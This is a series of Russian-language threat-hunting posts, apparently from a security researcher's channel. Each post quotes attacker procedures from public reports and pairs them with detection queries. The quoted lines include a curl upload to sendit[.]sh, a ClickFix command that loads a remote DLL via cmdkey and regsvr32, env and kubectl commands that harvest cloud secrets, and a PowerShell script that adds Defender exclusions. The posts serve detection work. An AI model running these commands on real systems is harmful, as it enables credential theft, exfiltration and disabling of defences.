Know Your Adversary

Всем привет! Сегодня поговорим о не самом типичном методе закрепления в скомпрометированной системе, а именно Browser Extensions (T1176.001). Согласно данному отчету, злоумышленники использовали Microsoft Teams и представлялись сотрудниками ИТ, чтобы убедить жертву перейти на фишинговый сайт. Фишинговые сайты распространяли вредоносные скрипты: AutoHotKey, Batch или PowerShell. Такой скрипт распаковывал все компоненты ВПО, в том числе Python-бэкдор и расширение для браузера. Также создавалась задача в планировщике, которая запускала Microsoft Edge со следующими параметрами:

--user-data-dir="%LOCALAPPDATA%\Microsoft\Edge\User Data\Recovery" --load-extension="%EXTENSION_DIR%" --no-first-run --disable-sync --headless=new

Как видите, злоумышленники, помимо прочего, указывали альтернативную пользовательскую директорию (--user-data-dir) и загружали вредоносное расширение (--load-extension), эти параметры мы и можем использовать для поиска подозрительной активности:

event_type: "processcreatewin"

AND

proc_file_path: "msedge.exe"

AND

cmdline: ("user-data-dir" AND "load-extension")

Скоро увидимся! English version

Всем привет! Злоумышленники все чаще используют оригинальные веб-сервисы для размещения вредоносных файлов, и сегодня мы взглянем на очередной пример - Storj. Согласно данному отчету, атакующие использовали малвертайзинг для распространения загрузчика OXLOADER. При этом, для хранения вредоносных файлов злоумышленники использовали сервис Storj, например:

link[.]storjshare[.]io/raw/jwwvr4oskkkjsgevt774ta62ehya/ruslan/aBsvwbdas.exe

Как и с другими подобными сервисами, мы можем поискать подозрительные взаимодействия с ними:

event_type: "dnsreq"

AND

dns_rname: "storjshare.io"

Ну, или просто заблокировать доступ к нему - тогда вредоносные файлы просто не смогут быть загружены пользователем. Скоро увидимся! English version

Всем привет! Мои коллеги очень активно исследуют различные теневые ресурсы. И недавно мы проанализировали, как злоумышленники обсуждают применение искусственного интеллекта, планируя кибератаки. Результаты проведенного анализа уже доступны в нашем новом отчете - Threat Zone 2026: Dark AI. https://bi.zone/expertise/research/threat-zone-2026-dark-ai/

Всем привет! Давайте взглянем на очередной пример того, как злоумышленники используют интересные папки для маскировки в рамках техники Match Legitimate Resource Name or Location (T1036.005). Сегодняшним примером послужит SmartRAT. Если мы заглянем в отчет, то сразу заметим, что ВПО активно использует следующие папки:

%APPDATA%\Microsoft\Diagnosis\ETW\
%ProgramData%\Microsoft\Diagnosis\ETW\

Например, ВПО могло создавать службу с использованием следующей команды:

"C:\Windows\system32\sc.exe" create MicrosoftEdgeUpdateCore binPath= "C:\ProgramData\Microsoft\Diagnosis\ETW\MicrosoftEdgeUpdateCore.exe" start= auto obj= LocalSystem DisplayName= "Windows Diagnostics ETW Service"

Безусловно, это не самые популярные пути для размещения ВПО, которые, разумеется, могут быть использованы для проактивного поиска:

event_type: "processcreatewin"

AND

proc_file_path: "Microsoft\\Diagnosis\\ETW"

Скоро увидимся! English version

Всем привет! Сегодня поговорим о скрытности и закреплении в скомпрометированной системе, сфокусировавшись на технике Hidden Window (T1564.003). Уверен, поиск подозрительных значений в разделе реестра Run - часть вашей Threat Hunting рутины. Но иногда злоумышленники, пытаясь скрыться, помогают нам обнаружить вредоносную активность. Например, EtherRAT записывал в HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealth следующее значение:

"C:\Windows\System32\conhost.exe" --headless "C:\Users\Bruno\AppData\Local\Adobe\Components\e8b3\node-v18.17.0-win-x64\node.exe" "C:\Users\Bruno\AppData\Local\Adobe\Components\e8b3\97f04949151a3819.js"

Как видите, злоумышленники использовали conhost.exe с параметром --headless для сокрытия окна, но часто ли подобная цепочка легитимно записывается в Run? Разумеется, нет! И это очередная возможность для обнаружения:

event_type: "registryvaluesetwin"

AND

reg_key_path: "currentversion\\run"

AND

reg_value_data: *conhost*

Скоро увидимся! English version

Всем привет! Сегодня я хочу напомнить вам о том, что CFP на конференцию OFFZONE, которая пройдет 20 и 21 августа в Москве, закончится уже 29 июня! Если вы планировали принять в ней участие в качестве спикера - самое время подать заявку! Более того, вот уже третий год я отвечаю за зону Threat.Zone, которая посвящена реагированию на инциденты, киберразведке, исследованию киберугроз, цифровой криминалистике, разработке детектирующей логики и проактивному поиску киберугроз. Если ваш доклад посвящен чему-то подобному - буду рад вашей заявке! Если у вас возникли сложности с формулированием темы или ее описанием - можете написать в личные сообщения канала, и я постараюсь вам помочь! Кстати, спикеры зон получают: - Билет на конференцию - Приглашение на Speaker party - Набор мерча OFFZONE - 1 билет на конференцию для друга Увидимся на OFFZONE! P.S. И да, коллеги подготовили отличный гайд по оформлению заявки - обязательно ознакомьтесь!

Всем привет! Если честно, искать в публичных отчетах хоть что-то интересное после почти 400 постов стало несколько сложнее. Тем не менее, это все еще можно сделать, и сегодня мы снова поговорим об Exfiltration to Cloud Storage (T1567.002). В этот раз спонсором поста выступили партнеры Akira, а привлек мое внимание следующий фрагмент отчета:

Next, the threat actor used the Microsoft Edge browser to access Bing, and search for the term “eayupload” before settling on Easyupload.io, a website that provides access to file uploads via drag-and-drop

Как видите, злоумышленники воспользовались очередным облачным хранилищем, чтобы выгрузить собранные данные. Доступ к таким сервисам можно как проактивно заблокировать, так и поискать подозрительные обращения к ним:

event_type: "dnsreq"

AND

dns_rname: "easyupload.io"

Атакующие все чаще используют легитимные средства и сервисы, поэтому понимание того, какие именно может стать ключевым фактором для того, чтобы остановить их до того, как ущерб уже будет нанесен. Скоро увидимся! English version

Всем привет! Продолжаю делиться с вами нашими свежими исследованиями, на этот раз оно посвящено кластеру Fluffy Wolf: https://bi.zone/expertise/blog/fluffy-wolf-ispytal-novinki-na-rossiyskikh-kompaniyakh/

Всем привет! В некоторых случаях злоумышленники используют очень интересные папки для размещения вредоносного ПО и используемых ими инструментов — и это может быть отличной целью для хантинга! Давайте рассмотрим пример. На этот раз это Cloud Atlas (Cloud Werewolf, Inception). Если изучить отчёт, можно увидеть, что противник использовал несколько интересных директорий для хранения вредоносных файлов и инструментов, например:

C:\Windows\ime
C:\Windows\System32\ime
C:\Windows\pla
C:\Windows\inf
C:\Windows\migration
C:\Windows\System32\timecontrolsvc
C:\Windows\SKB
C:\Windows\LiveKernelReports
C:\Windows\branding

Как видите, эти папки не очень характерны для легитимных исполняемых файлов, поэтому мы можем использовать эту информацию для построения хантинг-запроса:

event_type: "processcreatewin"

AND

proc_file_path: ("Windows\\ime" OR "Windows\\System32\\ime" OR "Windows\\pla" OR "Windows\\inf" OR "Windows\\migration" OR "Windows\\System32\\timecontrolsvc" OR "Windows\\SKB" OR "Windows\\LiveKernelReports" OR "Windows\\branding")

Скоро увидимся! English version

Всем привет! Сегодня мы рассмотрим ещё один инструмент, который злоумышленники доставляли через ClickFix. И на этот раз это 10-летний SOCKS5-прокси с открытым исходным кодом на Python - PySoxy. Согласно отчету ReliaQuest, злоумышленник использовал интерактивный PowerShell-доступ для загрузки Python-инструментов в C:\ProgramData. Для запуска инструмента была выполнена следующая команда:

python.exe b64.pyc -ssl -remote_port 443 -remote_ip 167.99.158[.]97

Инструмент был идентифицирован как PySoxy. Как видите, здесь есть несколько интересных параметров командной строки, которые можно использовать для построения hunting-запроса, например:

event_type: "processcreatewin"

AND

cmdline: ("remote_port" AND "remote_ip")

Скоро увидимся! English version

Всем привет! Сегодня мы взглянем на несколько процедур, которые использовались в сравнительно свежих кампаниях Gamaredon (Disastrous Werewolf, Primitive Bear, Armageddon, Shuckworm, Aqua Blizzard). Как и прежде, для получения первоначального доступа атакующие использовали фишинговые письма. К ним были приложены архивы, эксплуатирующие уязвимость CVE-2025-8088 в WinRAR. В результате успешной эксплуатации вредоносный VBS-файл, например, 1_13_4_1882_18.03.2026.vbs, копировался в %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\. Мы можем поискать события создания подозрительных VBS-файлов в этой папке:

event_type: "filecreatewin"

AND

file_path: ("programs\\startup" AND *.vbs)

Далее VBS-файл загружает вредоносный HTA-файл с Cloudflare Workers. Здесь мы, например, можем поискать коммуникации wbscript.exe с соответствующими доменами:

event_type: "dnsreqwin"

AND

dns_rname: "workers.dev"

AND

proc_file_path: "wscript.exe"

HTA-файл загружается в папку %TEMP% и запускается с помощью mshta.exe, что предоставляет нам очередную возможность для проактивного поиска:

event_type: "processcreatewin"

AND

proc_file_path: "mshta.exe"

AND

cmdline: "temp"

Этот файл собирает информацию о скомпрометированной системе, загружает следующую стадию и запускает ее. Скоро увидимся! English version

Всем привет! Мне очень нравится подмечать различные легитимные сервисы, которыми злоупотребляют атакующие. И сегодня мы посмотрим на очередной такой пример в рамках техники Exfiltration to Cloud Storage (T1567.002). Согласно этому отчету, MuddyWater (Nebulous Werewolf, Seedworm, TEMP.Zagros, Static Kitten, Mercury, TA450, Cobalt Ulster, Earth Vetala, Mango Sandstorm, Boggy Serpens) для эксфильтрации данных злоупотребляли сервисом sendit[.]sh, который позволяет загружать файлы до 10 ГБ с использованием командной строки:

curl.exe -F "file=@C:\Windows\Temp\<artifact>" hxxps://sendit[.]sh

Как и в случае с другими подобными сервисами, можно поискать подозрительные коммуникации с ним, например, исходящие от cURL:

event_type: "dnsreqwin"

AND

dns_rname: "sendit.sh"

AND

proc_file_path: "curl.exe"

Скоро увидимся! English version

Пусти вредонос в песочницу Windows… И ещё 19 методов кибератак, расследования которых изучают ИБ-специалисты всего мира. ➡️В своей колонке в «Киберболоиде» руководитель Threat Intelligence BI.ZONE Олег Скулкин разбирает самые интересные техники хакеров и конкретные шаги их выявления. #киберболоид #мастерская

Всем привет! Что я знаю о стилерах? Кажется, они очень шумные! И сегодня мы в очередной раз в этом убедимся на примере TeamPCP (Haze Wolf). В этот раз стилер был внедрен атакующими в три версии пакета xinference (2.6.0, 2.6.1 и 2.6.2). Собственно, собирает он SSH-ключи, различные учетные данные, переменные окружения, криптокошельки и многое другое, после чего использует cURL для эксфильтрации. Давайте взглянем на пару техник, которые использовали злоумышленники для получения учетных данных. Например, их интересовали данные в переменных окружения:

env | grep AWS_
env | grep -i google
env | grep -i gcloud
env | grep -i azure

Выглядит достаточно подозрительно для поиска:

event_type: processcreate*

AND

proc_file_path: "env"

AND

cmdline: ("grep" AND ("aws_" OR "google" OR "azure" OR "gcloud"))

Еще одна техника - злоупотребление kubectl для получения учетных данных:

kubectl get secrets --all-namespaces -o json 2>/dev/null || true

И это тоже неплохая возможность для обнаружения:

event_type: processcreate*

AND

proc_file_path: kubectl*

AND

cmdline: ("get" AND "secrets")

И, разумеется, стилер получает доступ к огромному количеству файлов с учетными данными, что также создает массу возможностей для обнаружения! Скоро увидимся! English version

Всем привет! Спешу поделиться с вами нашим свежим исследованием, посвященным активности кластера Paper Werewolf (GOFFEE): https://bi.zone/expertise/blog/kamen-nozhnitsy-bumaga-novyy-instrumentariy-v-atakakh-klastera-paper-werewolf/

Всем привет! Сегодня мы с вами взглянем на еще один интересный вариант техники Malicious Copy and Paste (T1204.004). В этот раз, согласно данному отчету, злоумышленники предлагали жертве запустить следующую команду:

C:\WINDOWS\system32\cmd.exe /c
cmdkey /add:151.245.195[.]142 /user:guest &&
start regsvr32 /s \\151.245.195[.]142\hi\demo.dll &
REM I am not a robot – Cloudflare ID: d7f5a3335794c434

Как видите, перед тем, как зарегистрировать вредоносную библиотеку с удаленного сервера с помощью regsvr32.exe, атакующие используют cmdkey.exe, чтобы сохранить учетные данные для доступа к данному серверу. И да, злоупотребление cmdkey.exe может быть неплохой возможностью для хантинга - мы можем искать подозрительные события добавления учетных данных в Windows Credential Manager:

event_type: "processcreatewin"

AND

proc_file_path: "cmdkey.exe"

AND

cmdline: "add"

Скоро увидимся! English version

Всем привет! Еще одни атакующие начали использовать социальную инженерию для доставки Linux-бэкдора, хотя и просто переписали его Windows-версию. Давайте посмотрим на используемые злоумышленниками техники и возможности их обнаружения или проактивного поиска. А источником информации в этот раз станет отчет The Symantec and Carbon Black Threat Hunter Team о группировке Harvester. Чтобы замаскировать вредоносный ELF-файл, атакующие использовали технику Masquerade File Type (T1036.008), добавив вредоносному файлу расширение “. pdf”, например, “Details Format. pdf”. Как видите, после точки идет пробел, что позволяет нам получить возможность для обнаружения:

Ищите события создания или запуска подозрительных файлов с расширением “. pdf”

Злоумышленники использовали сразу два метода закрепления в скомпрометированной системе. Во-первых, бэкдор GoGra создает новую службу, ~/.config/systemd/user/userservice (Systemd Service (T1543.002)). Во-вторых, создает запись для автозагрузки, ~/.config/autostart/abc.desktop (XDG Autostart Entries (T1547.013)). Такие методы закрепления открывают возможности для проактивного поиска:

Ищите события создания подозрительных файлов в директориях ~/.config/systemd/user/ и ~/.config/autostart/

Для обеспечения взаимодействия с бэкдором атакующие злоупотребляли Microsoft Graph API (Web Service (T1102)), что также предоставляет возможность для проактивного поиска:

Ищите события коммуникации подозрительных процессов с graph[.]microsoft.com

Наконец, бэкдор позволял атакующим выполнять команды через /bin/bash -c (Unix Shell (T1059.004)), что предоставляет нам еще одну возможность для проактивного поиска:

Ищите события запуска bash -c с подозрительными родительскими процессами

Скоро увидимся! English version

Всем привет! Сегодня поговорим о еще одном криминалистическом инструменте, который злоумышленники использовали в контексте техники Impair Defenses: Disable or Modify Tools (T1562.001). Речь снова пойдет о вымогателях, в этот раз речь пойдет о кластере STAC4713, который распространяет шифровальщик PayoutsKing. Так вот, чтобы добавить исключения для Windows Defender, атакующие использовали FTK Imager - криминалистический инструмент, предназначенный для создания образов дисков. Дело в том, что в ходе инсталляции данный инструмент позволяет добавить выбранный путь в исключения, чем и воспользовались злоумышленники. Собственно, будет запущена следующая команда:

powershell -command $ExclusionType;$ExclusionFile = '"ExterroExclusions.txt"';if(Test-Path -path $ExclusionFile ){ $Exclusions = Get-Content $ExclusionFile; foreach ($Item in $Exclusions ) { $ItemTrimmed = $Item.trim(); if($Item.length -gt 0){ if($ItemTrimmed.StartsWith('-')) { $ExclusionType = $ItemTrimmed; Write-Host $ExclusionType; } elseif ( !($ItemTrimmed.StartsWith('#'))) { if ($ExclusionType -eq '-Folder') { Add-MpPreference -ExclusionPath $ItemTrimmed; Write-Host "Adding "$ExclusionType" exclusion " $ItemTrimmed; } elseif ($ExclusionType -eq '-FileType') { Add-MpPreference -ExclusionExtension $ItemTrimmed; Write-Host "Adding "$ExclusionType" exclusion " $ItemTrimmed; } elseif ($ExclusionType -eq '-Process') { Add-MpPreference -ExclusionProcess $ItemTrimmed; Write-Host "Adding "$ExclusionType" exclusion " $ItemTrimmed; } } } }}else{ Write-Host "Did not find exclusion file " $ExclusionFile; Return;}

Кстати, это не первый раз, когда атакующие злоупотребляют данным инструментом. Например, согласно этому отчету, атакующие инсталлировали FTK Imager на множество хостов, и использовали его не только для обхода средств защиты, но и для получения доступа к файлам, содержащим учетные данные. Так что подозрительные события инсталляции или запуска FTK Imager могут быть связаны с активностью злоумышленников в сети, стоит проверить:

event_type: "processcreatewin"

AND

proc_file_productname: "ftk imager"

Скоро увидимся! English version

Всем привет! Продолжаем разбирать с тем, как эффективно использовать киберразведданные (Threat Intelligence). В этот раз поговорим о том, как данные об уязвимостях, техниках и инструментах атакующих помогают заранее ограничить их возможности и снизить риск инцидента: https://bi.zone/expertise/blog/kak-predotvratit-ataku-ispolzuya-dannye-ob-uyazvimostyakh-i-metodakh-zloumyshlennikov/

Всем привет! Сегодня мы взглянем на креативную реализацию крайне популярной техники - Spearphishing Link (T1566.002). Согласно этому исследованию, в феврале 2026 года кластер TA416 распространял фишинговые письма со ссылками, которые вели на Google Drive или скомпрометированные инстансы SharePoint. По ссылкам размещались архивы, которые содержали переименованный исполняемый файл MSBuild (например, в Invitation_Letter_No.02_2026) и файл проекта CSPROJ, который и выполнялся после запуска - MSBuild по умолчанию ищет соответствующий файл в текущей директории. Успешный запуск приводил к загрузке трех файлов, которые впоследствии использовались для реализации техники DLL-Sideloading. Несмотря на креативный подход злоумышленников, обнаружить подобное злоупотребление MSBuild довольно просто, например:

event_type: "processcreatewin"

AND

proc_file_originalfilename: "msbuild.exe"

AND NOT

proc_file_path: "msbuild.exe"

Скоро увидимся! English version